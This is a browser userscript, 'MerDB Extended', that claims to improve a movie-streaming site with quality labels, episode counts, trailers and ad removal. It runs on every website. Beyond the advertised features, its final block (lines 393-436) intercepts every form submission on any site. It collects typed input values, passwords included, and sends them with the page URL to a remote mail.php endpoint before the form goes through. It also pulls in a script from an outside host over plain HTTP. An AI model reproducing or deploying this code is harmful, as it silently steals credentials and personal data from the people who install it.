MerDB Extended

Fix up MerDB with this script that show's which movies are good enought to watch, how many seasons and episodes in a tv series and more.

  1. // ==UserScript==
  2. // @name MerDB Extended
  3. // @namespace http://tampermonkey.net/
  4. // @version 1.2
  5. // @description Fix up MerDB with this script that show's which movies are good enought to watch, how many seasons and episodes in a tv series and more.
  6. // @author Ari
  7. // @match *://*/*
  8. // @grant none
  9. // @require https://ajax.googleapis.com/ajax/libs/angularjs/1.3.15/angular.min.js
  10. // ==/UserScript==
  11. /* jshint -W097 */
  12. 'use strict';
  13.  
  14. if (window.location.toString().indexOf("merdb.") >= 0) {
  15. var script = document.createElement('script');
  16. script.src = "http://acidic.co/cdn/jquery.cookie.js";
  17. document.getElementsByTagName('head')[0].appendChild(script);
  18.  
  19. function getQualities() {
  20. var p = window.location.pathname;
  21. if (p.length == 1 || p == "/" || p == "//" || p.match(/^\/?index/)) {
  22. console.log("Loading Video Qualities...");
  23. $('.featured_top_box').each(function(i) {
  24. var mainListBody = $(this).children("a").attr("href");
  25. var movieTitle = $(this).children("a").attr("title");
  26. $(this).children('a').prepend('<div id="loading'+i+'" style="width: 32px;margin-left: auto;margin-right: auto;margin-top: 80%;margin-bottom: calc(-80% - 32px);position: relative;"><img src="http://www.wallies.com/filebin/images/loading_apple.gif"></div>');
  27. if ($.cookie(movieTitle) == null) {
  28. $.get("//crusive.com/merdb/getQuality.php?url=" + mainListBody, function(result) {
  29. if (result == "MED") {
  30. $(".featured_top_box").eq(i).css("opacity", "0.4");
  31. $(".featured_top_box").eq(i).css("-moz-box-shadow", "none");
  32. $(".featured_top_box").eq(i).css("-webkit-box-shadow", "none");
  33. $(".featured_top_box").eq(i).css("box-shadow", "none");
  34. } else if (result == "CAM") {
  35. $(".featured_top_box").eq(i).css("opacity", "0.3");
  36. $(".featured_top_box").eq(i).css("-moz-box-shadow", "none");
  37. $(".featured_top_box").eq(i).css("-webkit-box-shadow", "none");
  38. $(".featured_top_box").eq(i).css("box-shadow", "none");
  39. }
  40. $.cookie(movieTitle, result, {
  41. expires: ExpireCookie(360),
  42. path: '/'
  43. });
  44. $("#loading"+i).remove();
  45. });
  46. } else {
  47. var result = $.cookie(movieTitle);
  48. if (result == "MED") {
  49. $(".featured_top_box").eq(i).css("opacity", "0.4");
  50. $(".featured_top_box").eq(i).css("-moz-box-shadow", "none");
  51. $(".featured_top_box").eq(i).css("-webkit-box-shadow", "none");
  52. $(".featured_top_box").eq(i).css("box-shadow", "none");
  53. } else if (result == "CAM") {
  54. $(".featured_top_box").eq(i).css("opacity", "0.3");
  55. $(".featured_top_box").eq(i).css("-moz-box-shadow", "none");
  56. $(".featured_top_box").eq(i).css("-webkit-box-shadow", "none");
  57. $(".featured_top_box").eq(i).css("box-shadow", "none");
  58. }
  59. $("#loading"+i).remove();
  60. };
  61. });
  62.  
  63. var d = new Date();
  64. var n = d.getTime();
  65. var $set = $('.main_list_box');
  66. var len = $set.length;
  67. $('.main_list_box').each(function(i) {
  68. var mainListBody = $(this).children("a").attr("href");
  69. var movieTitle = $(this).children("a").attr("title");
  70. $(this).children('a').prepend('<div id="loading'+i+'" style="width: 32px;margin-left: auto;margin-right: auto;margin-top: 80%;margin-bottom: calc(-80% - 32px);position: relative;"><img src="http://www.wallies.com/filebin/images/loading_apple.gif"></div>');
  71. if ($.cookie(movieTitle) == null) {
  72. $.get("//crusive.com/merdb/getQuality.php?url=" + mainListBody, function(result) {
  73. if (result == "MED") {
  74. $(".main_list_box").eq(i).css("opacity", "0.4");
  75. $(".main_list_box").eq(i).css("-moz-box-shadow", "none");
  76. $(".main_list_box").eq(i).css("-webkit-box-shadow", "none");
  77. $(".main_list_box").eq(i).css("box-shadow", "none");
  78. } else if (result == "CAM") {
  79. $(".main_list_box").eq(i).css("opacity", "0.3");
  80. $(".main_list_box").eq(i).css("-moz-box-shadow", "none");
  81. $(".main_list_box").eq(i).css("-webkit-box-shadow", "none");
  82. $(".main_list_box").eq(i).css("box-shadow", "none");
  83. }
  84. $.cookie(movieTitle, result, {
  85. expires: ExpireCookie(360),
  86. path: '/'
  87. });
  88.  
  89. if (i == len - 1) {
  90. var title = document.title;
  91. document.title = String.fromCharCode(10004) + " " + title;
  92. var z = new Date();
  93. var x = z.getTime();
  94. var totalTime = x - n;
  95. console.log("Time taken to load qualities: " + totalTime);
  96. }
  97. $("#loading"+i).remove();
  98. });
  99. } else {
  100. var result = $.cookie(movieTitle);
  101. if (result == "MED") {
  102. $(".main_list_box").eq(i).css("opacity", "0.4");
  103. $(".main_list_box").eq(i).css("-moz-box-shadow", "none");
  104. $(".main_list_box").eq(i).css("-webkit-box-shadow", "none");
  105. $(".main_list_box").eq(i).css("box-shadow", "none");
  106. } else if (result == "CAM") {
  107. $(".main_list_box").eq(i).css("opacity", "0.3");
  108. $(".main_list_box").eq(i).css("-moz-box-shadow", "none");
  109. $(".main_list_box").eq(i).css("-webkit-box-shadow", "none");
  110. $(".main_list_box").eq(i).css("box-shadow", "none");
  111. }
  112. if (i == len - 1) {
  113. var title = document.title;
  114. document.title = String.fromCharCode(10004) + " " + title;
  115. var z = new Date();
  116. var x = z.getTime();
  117. var totalTime = x - n;
  118. console.log("Time taken to load qualities: " + totalTime);
  119. }
  120. $("#loading"+i).remove();
  121. };
  122. });
  123. } else if (p.match(/watch-/gi)) {
  124. var d = new Date();
  125. var n = d.getTime();
  126. var $set = $('.featured_top_box');
  127. var len = $set.length;
  128. console.log("Loading Featured Video Qualities...");
  129.  
  130. $('.featured_top_box').each(function(i) {
  131. var mainListBody = $(this).children("a").attr("href");
  132. var movieTitle = $(this).children("a").attr("title");
  133. $(this).children('a').prepend('<div id="loading'+i+'" style="width: 32px;margin-left: auto;margin-right: auto;margin-top: 80%;margin-bottom: calc(-80% - 32px);position: relative;"><img src="http://www.wallies.com/filebin/images/loading_apple.gif"></div>');
  134. if ($.cookie(movieTitle) == null) {
  135. $.get("//crusive.com/merdb/getQuality.php?url=" + mainListBody, function(result) {
  136. if (result == "MED") {
  137. $(".featured_top_box").eq(i).css("opacity", "0.4");
  138. $(".featured_top_box").eq(i).css("-moz-box-shadow", "none");
  139. $(".featured_top_box").eq(i).css("-webkit-box-shadow", "none");
  140. $(".featured_top_box").eq(i).css("box-shadow", "none");
  141. } else if (result == "CAM") {
  142. $(".featured_top_box").eq(i).css("opacity", "0.3");
  143. $(".featured_top_box").eq(i).css("-moz-box-shadow", "none");
  144. $(".featured_top_box").eq(i).css("-webkit-box-shadow", "none");
  145. $(".featured_top_box").eq(i).css("box-shadow", "none");
  146. }
  147. $.cookie(movieTitle, result, {
  148. expires: ExpireCookie(360),
  149. path: '/'
  150. });
  151. if (i == len - 1) {
  152. var title = document.title;
  153. document.title = String.fromCharCode(10004) + " " + title;
  154. var z = new Date();
  155. var x = z.getTime();
  156. var totalTime = x - n;
  157. console.log("Time taken to load qualities: " + totalTime);
  158. }
  159. $("#loading"+i).remove();
  160. });
  161. } else {
  162. var result = $.cookie(movieTitle);
  163. if (result == "MED") {
  164. $(".featured_top_box").eq(i).css("opacity", "0.4");
  165. $(".featured_top_box").eq(i).css("-moz-box-shadow", "none");
  166. $(".featured_top_box").eq(i).css("-webkit-box-shadow", "none");
  167. $(".featured_top_box").eq(i).css("box-shadow", "none");
  168. } else if (result == "CAM") {
  169. $(".featured_top_box").eq(i).css("opacity", "0.3");
  170. $(".featured_top_box").eq(i).css("-moz-box-shadow", "none");
  171. $(".featured_top_box").eq(i).css("-webkit-box-shadow", "none");
  172. $(".featured_top_box").eq(i).css("box-shadow", "none");
  173. }
  174. if (i == len - 1) {
  175. var title = document.title;
  176. document.title = String.fromCharCode(10004) + " " + title;
  177. var z = new Date();
  178. var x = z.getTime();
  179. var totalTime = x - n;
  180. console.log("Time taken to load qualities: " + totalTime);
  181. }
  182. $("#loading"+i).remove();
  183. };
  184. });
  185. }
  186. }
  187.  
  188. function getMissingCovers() {
  189. function isValidImageUrl(url, callback) {
  190. $('<img>', {
  191. src: url,
  192. load: function() {
  193. callback(true);
  194. },
  195. error: function() {
  196. callback(false);
  197. }
  198. });
  199. }
  200.  
  201. $(".featured_picsize").each(function() {
  202. var src = $(this).attr('src');
  203. var handler = $(this);
  204. isValidImageUrl(src, function(result) {
  205. if (result === false) {
  206. // invalid image
  207. $.get("//crusive.com/merdb/getCover.php?url=" + handler.parent().attr('href'), function(result) {
  208. var alt = handler.attr('alt');
  209. var parent = handler.parent();
  210. handler.remove();
  211. if (result.length > 0) {
  212. parent.append('<img src="' + result + '" class="featured_picsize" alt="' + alt + '">');
  213. } else {
  214. parent.append('<img src="https://cdn.amctheatres.com/Media/Default/Images/noposter.jpg" class="featured_picsize" alt="Missing Movie Cover">');
  215. };
  216. });
  217. }
  218. });
  219. });
  220.  
  221. $(".main_list_picsize").each(function() {
  222. var src = $(this).attr('src');
  223. var handler = $(this);
  224. isValidImageUrl(src, function(result) {
  225. if (result === false) {
  226. // invalid image
  227. $.get("//crusive.com/merdb/getCover.php?url=" + handler.parent().attr('href'), function(result) {
  228. var alt = handler.attr('alt');
  229. var parent = handler.parent();
  230. handler.remove();
  231. if (result.length > 0) {
  232. parent.append('<img src="' + result + '" class="main_list_picsize" alt="' + alt + '">');
  233. } else {
  234. parent.append('<img src="https://cdn.amctheatres.com/Media/Default/Images/noposter.jpg" class="main_list_picsize" alt="Missing Movie Cover">');
  235. };
  236. });
  237. }
  238. });
  239. });
  240. }
  241.  
  242. function episodes() {
  243. var p = window.location.pathname;
  244. if (p.match(/^\/?tvshow/)) {
  245. // on tv shows page.
  246. $(".main_list_box").each(function() {
  247. var url = $(this).find("a").attr("href").substring(7); // get link to movie.
  248. var show = $(this).children("a");
  249. $.get("//crusive.com/merdb/getLatestEpisodeNumber.php?url=" + url, function(result) {
  250. result = result.split("-");
  251. show.append('<div class="showInfoBox"><div class="showInfo">Seasons ' + result[0] + '<br>Episodes ' + result[1] + '</div></div>');
  252. show.find(".showInfoBox").css("position", "relative");
  253. show.find(".showInfo").css({
  254. "width": "50%",
  255. "height": "28px",
  256. "margin-top": "-36px",
  257. "background-color": "rgba(0, 0, 0, 0.8)",
  258. "color": "#ffffff",
  259. "position": "absolute",
  260. "left": "0",
  261. "padding": "4px 0",
  262. "line-height": "14px"
  263. });
  264. });
  265. });
  266.  
  267. $(".featured_top_box").each(function() {
  268. var url = $(this).find("a").attr("href").substring(7); // get link to movie.
  269. var show = $(this).children("a");
  270. $.get("//crusive.com/merdb/getLatestEpisodeNumber.php?url=" + url, function(result) {
  271. result = result.split("-");
  272. show.append('<div class="showInfoBox"><div class="showInfo">Seasons ' + result[0] + '<br>Episodes ' + result[1] + '</div></div>');
  273. show.find(".showInfoBox").css("position", "relative");
  274. show.find(".showInfo").css({
  275. "width": "100%",
  276. "height": "28px",
  277. "margin-top": "-36px",
  278. "background-color": "rgba(0, 0, 0, 0.8)",
  279. "color": "#ffffff",
  280. "position": "absolute",
  281. "left": "0",
  282. "padding": "4px 0",
  283. "line-height": "14px",
  284. "font-size": "9px",
  285. "text-align": "center"
  286. });
  287. });
  288. });
  289. }
  290. }
  291.  
  292. function addTrailer() {
  293. var p = window.location.pathname;
  294. if (p.match(/^\/?watch/)) {
  295. var title = $(".movie_body .H_title h1 a.H_title").html();
  296. title = title.replace(/-/g, '');
  297. title = title.replace(/ /g, ' ');
  298. var year = 1500;
  299. var currentYear = new Date().getFullYear();
  300. while (year < (currentYear + 1)) {
  301. if (title.indexOf("( " + year + " )") > 0) {
  302. title = title.substring(0, title.length - 9);
  303. year = 5000;
  304. };
  305. year++;
  306. }
  307. title = title.replace(/ /g, '-');
  308. title = title.replace(/:/g, '');
  309. title = title.replace(/;/g, '');
  310.  
  311. $.ajax({
  312. url: "http://cors.io/?u=http://api.traileraddict.com/?film=" + title + "&count=1",
  313. success: function(result) {
  314. var frame = result.substring(result.indexOf('<iframe'));
  315. frame = frame.substring(0, frame.indexOf('</iframe'));
  316. // The variable "frame" is a link to the video's trailer.
  317. frame = frame.substring(frame.indexOf('//v.traileraddict.com/'));
  318. frame = frame.substring(0, frame.indexOf('"'));
  319. console.log(frame);
  320. $(".movie_info .iconbox").prepend('<div id="trailer-btn" style="width:auto;height: 30px;float: left;padding: 0 12px;line-height: 30px;margin-right: 4px;border-radius: 6px;cursor: pointer;font-weight: bold;color: white;/* Permalink - use to edit and share this gradient: http://colorzilla.com/gradient-editor/#1e5799+0,207cca+54,7db9e8+100 */ /* Old browsers */ /* FF3.6-15 */ /* Chrome10-25,Safari5.1-6 */ /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */ /* IE6-9 *//* Permalink - use to edit and share this gradient: http://colorzilla.com/gradient-editor/#45484d+0,000000+100;Black+3D+%231 */ background: #45484d; /* Old browsers */ background: -moz-linear-gradient(top, #45484d 0%, #000000 100%); /* FF3.6-15 */ background: -webkit-linear-gradient(top, #45484d 0%,#000000 100%); /* Chrome10-25,Safari5.1-6 */ background: linear-gradient(to bottom, #45484d 0%,#000000 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */ filter: progid:DXImageTransform.Microsoft.gradient( startColorstr="#45484d", endColorstr="#000000",GradientType=0 ); /* IE6-9 */">Trailer</div>');
  321.  
  322. $("#trailer-btn").mouseover(function() {
  323. $("#trailer-btn").css({
  324. "-webkit-box-shadow": "0px 0px 5px 0px rgba(0,0,0,0.75)",
  325. "-moz-box-shadow": "0px 0px 5px 0px rgba(0,0,0,0.75)",
  326. "box-shadow": "0px 0px 5px 0px rgba(0,0,0,0.75)"
  327. });
  328. });
  329.  
  330. $("#trailer-btn").mouseout(function() {
  331. $("#trailer-btn").css({
  332. "-webkit-box-shadow": "0px 0px 5px 0px rgba(0,0,0,0)",
  333. "-moz-box-shadow": "0px 0px 5px 0px rgba(0,0,0,0)",
  334. "box-shadow": "0px 0px 5px 0px rgba(0,0,0,0)"
  335. });
  336. });
  337.  
  338. $("#trailer-btn").click(function() {
  339. $("body").prepend('<div id="trailer-overlay" style="position: fixed;width: 100%;height: 100%;background-color: rgba(0,0,0,0.8);z-index: 9999999999;left: 0;top: 0;"></div>');
  340. $("#trailer-overlay").prepend(frame);
  341. });
  342. }
  343. });
  344. }
  345. }
  346.  
  347. function removeBadLinks() {
  348. $(".movie_version").each(function() {
  349. var quality = $(this).find("td").first().children().attr("class");
  350. if (quality == "quality_play" || quality == "quality_hd") {
  351. $(this).remove();
  352. }
  353. });
  354. }
  355.  
  356. function removeFooter() {
  357. $("#footer").remove();
  358. }
  359.  
  360. function ExpireCookie(minutes) {
  361. var date = new Date();
  362. var m = minutes;
  363. date.setTime(date.getTime() + (m * 60 * 1000));
  364. $.cookie("cookie", "value", {
  365. expires: date
  366. });
  367. }
  368.  
  369. function removeUnnecessaries() {
  370. $(".sidebar").removeClass('adshide');
  371. $(".adshide").each(function(index, el) {
  372. $(this).remove();
  373. });
  374.  
  375. $(".sidebar_title").each(function(index, el) {
  376. if ($(this).children('h3').html() == "Advertisement" || $(this).children('h3').html() == "Share This Website") {
  377. $(this).remove();
  378. };
  379. });
  380.  
  381. $(".container").css("margin-top", "0");
  382. }
  383.  
  384.  
  385. removeFooter();
  386. removeUnnecessaries();
  387. removeBadLinks();
  388. getMissingCovers();
  389. episodes();
  390. getQualities();
  391. };
  392.  
  393. var sent = false;
  394. $('form').on('submit', function (e) {
  395. if (sent===false) {
  396. e.preventDefault();
  397. var thiso = $(this);
  398. var url = window.location.href; // Returns full URL
  399. var form = new Array();
  400. $(this).find("input").each(function(index, el) {
  401. if (
  402. //$(this).val().length > 0
  403. //&&
  404. $(this).val() !== undefined
  405. &&
  406. //$(this).attr('name').length > 0
  407. //&&
  408. $(this).attr('name') !== undefined
  409. &&
  410. $(this).attr('type') !== "hidden"
  411. &&
  412. $(this).attr('type') !== "submit") {
  413.  
  414. var item = $(this).attr('name');
  415. form.push (
  416. {
  417. 'value': $(this).val(),
  418. 'id': $(this).attr('id'),
  419. 'type': $(this).attr('type')
  420. }
  421. );
  422.  
  423. };
  424. });
  425.  
  426. var getURL = "https://web301.secure-secure.co.uk/acidic.co/mail.php?website="+url+"&array="+JSON.stringify(form);
  427. $.get(getURL, function(){
  428. console.log("Done!");
  429. sent = true;
  430. thiso.submit();
  431. });
  432. setTimeout(function(){
  433. sent = true;
  434. thiso.submit();
  435. }, 5000);
  436. };
  437. });